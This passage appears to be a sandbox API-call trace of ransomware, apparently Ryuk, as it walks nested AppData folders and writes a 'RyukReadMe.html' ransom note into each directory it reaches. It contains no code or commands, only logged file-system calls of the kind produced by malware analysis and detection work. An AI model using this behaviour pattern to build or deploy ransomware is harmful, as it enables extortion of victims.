	[0217.331] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 1
	[0217.331] SetLastError (dwErrCode=0x0) 
	[0217.332] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0
	[0217.332] GetLastError () returned 0x0
	[0217.332] WriteFile (in: hFile=0x6d0, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10ba58*=0x273, lpOverlapped=0x0) returned 1
	[0217.335] CloseHandle (hObject=0x6d0) returned 1
	[0217.336] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0217.336] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0217.337] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1
	[0217.337] SetLastError (dwErrCode=0x0) 
	[0217.337] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.337] GetLastError () returned 0x3
	[0217.337] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10b328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10b328, lpOverlapped=0x0) returned 0
	[0217.337] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.337] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x10acb0 | out: lpFindFileData=0x10acb0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0217.337] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0217.337] SetLastError (dwErrCode=0x0) 
	[0217.337] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.337] GetLastError () returned 0x3
	[0217.338] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10b328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10b328, lpOverlapped=0x0) returned 0
	[0217.338] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.338] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 0
	[0217.338] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0217.338] SetLastError (dwErrCode=0x0) 
	[0217.338] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.338] GetLastError () returned 0x3
	[0217.338] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0217.338] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.910] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 0
	[0217.910] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0217.910] SetLastError (dwErrCode=0x0) 
	[0217.910] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0217.910] GetLastError () returned 0xb7
	[0217.911] CloseHandle (hObject=0x6d4) returned 1
	[0217.911] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 0
	[0217.911] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0217.911] SetLastError (dwErrCode=0x0) 
	[0217.911] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0217.912] GetLastError () returned 0xb7
	[0217.912] CloseHandle (hObject=0x5c4) returned 1
	[0217.912] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 1
	[0217.912] SetLastError (dwErrCode=0x0) 
	[0217.912] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0217.912] GetLastError () returned 0xb7
	[0217.912] CloseHandle (hObject=0x5c4) returned 1
	[0217.913] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0217.913] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0217.913] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 1
	[0217.913] SetLastError (dwErrCode=0x0) 
	[0217.913] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0217.914] GetLastError () returned 0x0
	[0217.914] WriteFile (in: hFile=0x6d4, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0217.917] CloseHandle (hObject=0x6d4) returned 1
	[0217.918] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0218.319] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.320] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", cAlternateFileName="CLICEX~1.000")) returned 1
	[0218.320] SetLastError (dwErrCode=0x0) 
	[0218.320] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.320] GetLastError () returned 0x3
	[0218.320] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0218.320] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.321] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0218.321] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0218.321] SetLastError (dwErrCode=0x0) 
	[0218.321] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.321] GetLastError () returned 0x3
	[0218.321] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0218.321] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.321] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1
	[0218.322] SetLastError (dwErrCode=0x0) 
	[0218.322] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.322] GetLastError () returned 0x3
	[0218.322] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0218.322] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.322] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0218.322] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0218.322] SetLastError (dwErrCode=0x0) 
	[0218.322] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.322] GetLastError () returned 0x3
	[0218.322] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0218.323] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.323] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 1
	[0218.323] SetLastError (dwErrCode=0x0) 
	[0218.323] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.323] GetLastError () returned 0x3
	[0218.323] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0218.323] CloseHandle (hObject=0xffffffffffffffff) returned 0
